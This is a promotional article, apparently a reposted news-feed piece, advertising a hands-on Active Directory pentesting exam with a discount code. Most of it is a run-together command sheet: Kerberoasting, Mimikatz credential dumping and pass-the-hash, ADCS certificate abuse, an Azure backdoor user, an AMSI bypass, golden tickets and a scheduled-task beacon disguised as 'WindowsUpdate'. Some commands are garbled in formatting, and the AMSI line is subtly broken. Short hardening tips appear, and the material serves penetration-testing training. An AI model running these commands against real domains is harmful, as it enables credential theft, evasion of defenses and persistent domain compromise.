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Introduction:
Active Directory (AD) remains the crown jewel of enterprise identity management, yet its complexity breeds misconfigurations that become silent highways for attackers. Traditional multiple-choice certifications often fail to test true offensive skills, leaving a dangerous gap between “paper knowledge” and the ability to compromise a live, multi-forest AD environment under pressure. The Certified Active Directory Pentesting eXpert (C-ADPenX) exam bridges this gap with a 7-hour, hands-on practical that forces candidates to enumerate, exploit, and move laterally through an enterprise-style AD setup—no theory dumping, just real-world hacking.
Learning Objectives:
- Enumerate Active Directory trusts, privileges, and misconfigurations using both Windows and Linux tooling
- Execute Kerberos-based attacks (Kerberoasting, AS-REP Roasting, Pass-the-Ticket) to extract credentials
- Perform lateral movement and privilege escalation to achieve Domain Admin and compromise multi-domain forests
- Abuse Active Directory Certificate Services (ADCS) and Azure AD hybrid identities for persistent access
- Apply evasion concepts to bypass modern EDR/AMSI and avoid detection during red team operations
1. Enumerating Active Directory Trusts and Misconfigurations
Most AD compromises start with insufficient enumeration. Attackers map trusts, find overly permissive ACLs, and identify unpatched privilege escalation vectors. The C-ADPenX exam tests your ability to discover these flaws efficiently.
Step‑by‑step guide for AD enumeration (attacker perspective):
1. From a Windows domain‑joined machine (non‑privileged user):
Get current domain info net user /domain net group "Domain Admins" /domain Using PowerView (part of PowerSploit) Import-Module .\PowerView.ps1 Get-NetUser | select samaccountname, description Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember Get-NetComputer -OperatingSystem "Server" | select dnshostname, operatingsystem Find-InterestingDomainAcl -ResolveGUIDs
- From a Linux attacker machine (using Impacket and BloodHound):
Enumerate domain users and groups via SMB impacket-lookupsid <domain>/<user>:<pass>@<DC_IP> impacket-samrdump <domain>/<user>:<pass>@<DC_IP> BloodHound collectors (SharpHound on Windows, BloodHound.py on Linux) bloodhound-python -d <domain> -u <user> -p <pass> -ns <DC_IP> -c All Then import data into Neo4j + BloodHound UI to visualize attack paths
What this does: Reveals hidden trust relationships, high‑value targets, and misconfigured ACLs like `GenericAll` on domain objects, which can be exploited for immediate privilege escalation.
You Should Know: Always check for `AdminCount=1` users with `SIDHistory` or unconstrained delegation – these are golden tickets for lateral movement.
2. Kerberoasting and AS-REP Roasting Attacks
Kerberos authentication offers multiple abuse vectors. Kerberoasting extracts service account password hashes (RC4_HMAC) for offline cracking, while AS-REP Roasting targets users without pre‑authentication. Both techniques are exam essentials.
Step‑by‑step guide for Kerberos attacks:
1. Extract Kerberoastable hashes (Windows):
Using Rubeus (compile from source or use pre-built) Rubeus.exe kerberoast /outfile:hashes.kerberoast Using native PowerShell (no external tools) Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/svc_web.domain.local" Then extract from memory using Mimikatz or Rubeus
2. Extract hashes (Linux with Impacket):
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP> -request -outputfile kerberoast_hash.txt
3. Crack hashes with Hashcat:
hashcat -m 13100 -a 0 kerberoast_hash.txt rockyou.txt
4. AS-REP Roasting (no pre‑auth users):
impacket-GetNPUsers <domain>/ -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt hashcat -m 18200 -a 0 asrep.txt rockyou.txt
You Should Know: Service accounts with weak or reused passwords are low‑hanging fruit. Once cracked, you gain the account’s privileges – often local admin on multiple servers. For mitigation, use group Managed Service Accounts (gMSA) with 240‑character random passwords.
3. Lateral Movement and Pass-the-Hash/Ticket
After obtaining a hash or ticket, moving laterally across the network without re‑entering credentials is critical. The Pass‑the‑Hash (PtH) and Pass‑the‑Ticket (PtT) techniques allow you to impersonate any user whose hash you possess.
Step‑by‑step guide for lateral movement:
- Extract NTLM hash from memory (Windows, admin rights):
Mimikatz mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" Look for NTLM hash of a Domain Admin
2. Pass‑the‑Hash using Impacket (Linux):
Execute command remotely with PtH impacket-psexec -hashes <LM:NTLM> <domain>/<user>@<target_IP> impacket-wmiexec -hashes <LM:NTLM> <domain>/<user>@<target_IP> "whoami" Create a scheduled task impacket-atexec -hashes <LM:NTLM> <domain>/<user>@<target_IP> "cmd /c net user backdoor password /add"
3. Pass‑the‑Ticket with Rubeus (Windows):
Export existing TGT from memory Rubeus.exe dump /service:krbtgt /nowrap Inject ticket for a different user Rubeus.exe ptt /ticket:<base64_ticket> Then access C$ or other resources dir \<target_IP>\C$
4. Lateral movement via WinRM (if enabled):
Using Evil-WinRM (Linux) evil-winrm -i <target_IP> -u <user> -H <NTLM_hash>
You Should Know: Enable Credential Guard on Windows 10/11 and Server 2016+ to protect LSASS from Mimikatz. Use Protected Users group to prevent caching of plaintext credentials. On Linux, restrict NTLM fallback and enforce Kerberos armoring.
4. Active Directory Certificate Services (ADCS) Abuse
ADCS is often misconfigured and overlooked. Escalation vulnerabilities like ESC1 (enrollment with dangerous OID) or ESC8 (web enrollment endpoint abuse) can turn a low‑privileged user into Domain Admin.
Step‑by‑step guide for ADCS exploitation:
1. Identify ADCS servers and templates:
Using Certipy (Linux) certipy find -u <user>@<domain> -p <pass> -dc-ip <DC_IP> -enabled Look for templates with "ENROLLEE_SUPPLIES_SUBJECT" and low privileges
- Exploit ESC1 – request a certificate as Domain Admin:
certipy req -u <user>@<domain> -p <pass> -ca <CA_NAME> -template <VulnTemplate> -alt <targetAdmin>@<domain> -dc-ip <DC_IP> This yields a PFX certificate for the target admin
3. Use certificate for authentication (Pass‑the‑Certificate):
certipy auth -pfx <admin>.pfx -dc-ip <DC_IP> Extract NT hash and TGT, then use Pass‑the‑Hash
- Abuse ESC8 – NTLM relay to ADCS web enrollment:
Use ntlmrelayx to capture NTLMv2 and relay to ADCS endpoint impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp -smb2support Trigger a connection from a high‑privileged machine (DC or CA) via printer bug or SpoolSample
You Should Know: Quick fix: Disable dangerous certificate templates, enforce Manager Approval, and disable HTTP enrolment endpoints. Use PKINIT with strong key protection.
5. Azure AD and Hybrid Identity Compromise
Modern enterprises integrate on‑prem AD with Azure AD. The exam includes Azure AD scenarios, where attackers pivot from on‑prem to cloud via sync accounts, PRT tokens, or compromised federation.
Step‑by‑step guide for hybrid AD‑Azure compromise:
- Enumerate Azure AD connect settings (on‑prem, admin rights):
Locate the Azure AD Connect server Get-ADSyncConnector | fl Extract the MSOL account (often with DCSync privileges)
-
Dump credentials of the AD Connect sync account:
Using Mimikatz on the Azure AD Connect server mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" The MSOL_ account often has write access to Azure AD
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Use AADInternals (PowerShell) to create a backdoor in Azure:
Install-Module AADInternals Import-Module AADInternals Pass the extracted hash to authenticate Connect-AADInt -MsolHash <hash> Add a new federated domain or backdoor user ConvertTo-AADIntBackdoor -UserPrincipalName [email protected] -Password <newPass>
4. Abuse compromised PRT (Primary Refresh Token):
Using ROADtools (Python) roadrecon auth prt --prt <prt_token> --user <user>@<domain> roadrecon get -s
You Should Know: Hardening hybrid identity requires: separate admin accounts for Azure AD Connect, enable Seamless SSO only if necessary, and monitor for `Add-AzureADServicePrincipal` or `Set-AzureADDomain` logs.
6. Evasion and Persistence Techniques
Modern AD pentesting requires bypassing EDR, AMSI, and logging. The exam includes evasion concepts such as obfuscating PowerShell, using reflective loading, and deploying custom backdoors.
Step‑by‑step evasion guide:
1. Bypass AMSI using reflection (PowerShell):
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Then run any malicious script without detection
2. Obfuscate commands with Invoke‑Obfuscation:
Download and import Invoke-Obfuscation
Invoke-Obfuscation -ScriptBlock {whoami} -ObfuscatedCommand -Quiet
- Create a golden ticket for persistence (requires krbtgt hash):
impacket-ticketer -domain <domain> -domain-sid <SID> -nthash <krbtgt_hash> -user-id 500 Administrator Use ticket to access any resource indefinitely (until krbtgt password changes)
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Deploy a hidden SMB backdoor via scheduled task:
On compromised high‑value server schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\rundll32.exe C:\temp\beacon.dll,1" /sc daily /ru "SYSTEM"
You Should Know: Evasion is a cat‑and‑mouse game. For blue teams: enable AMSI in audit mode, deploy process monitoring (Sysmon), and rotate krbtgt password twice as an emergency measure.
What Undercode Say:
- Key Takeaway 1: Practical AD pentesting beats theory every time. The C-ADPenX exam’s 7‑hour live environment accurately simulates real‑world pressure, exposing weaknesses that multiple‑choice certs never reveal.
- Key Takeaway 2: Kerberos misconfigurations (Kerberoasting, AS-REP, unconstrained delegation) remain the leading attack surface in enterprise AD – yet most defenders don’t understand how to audit them correctly.
- Key Takeaway 3: Hybrid cloud identity (Azure AD + on‑prem) creates new attack vectors that traditional AD security tools miss; privilege escalation from sync accounts can compromise entire Microsoft 365 tenants.
- Key Takeaway 4: Evasion is not optional – modern AD compromises require bypassing EDR, AMSI, and logging. The exam’s evasion concepts prepare candidates for real red team operations.
Analysis: The cybersecurity industry suffers from “certification fatigue” – countless theoretical exams produce analysts who cannot execute a basic Pass‑the‑Hash. Practical, performance‑based assessments like C-ADPenX (and similar platforms like PentestingExams.com) are the future. They filter for genuine skill, not memorization. However, 7 hours is short for a complete forest compromise; the real value lies in repeating these labs until muscle memory kicks in. The 90% discount code (AD-90) democratizes access, but watch out – the exam is challenging enough that many will fail without dedicated practice. Undercode recommends pairing this with home labs (e.g., GOAD or WSL2 with Attack Range) and free community tools like BloodHound Community Edition.
Prediction:
Within three years, traditional AD certification exams (like Microsoft’s SC‑200 or older CompTIA Pentest+) will be largely replaced by practical, hands‑on assessments that require live environment compromise. Companies hiring penetration testers will rely less on paper certs and more on verified lab scores from platforms like PentestingExams.com, HackTheBox CPTS, or Offensive Security’s OSCP. The C-ADPenX model – 7‑hour, on‑demand, real‑world AD attacks – will set the benchmark for identity security validation. For defenders, this shift means attacks simulated in exams today will become automated tooling tomorrow. Expect a rise in AI‑assisted AD pentesting tools that chain exploits from Kerberoasting to DCSync, forcing blue teams to adopt Zero Trust and continuous authentication monitoring. The gap between certification and competence is closing – and those who adapt will lead the next generation of offensive security.
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Reported By: Joas Antonio – Hackers Feeds
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Basic Verification: Pass ✅
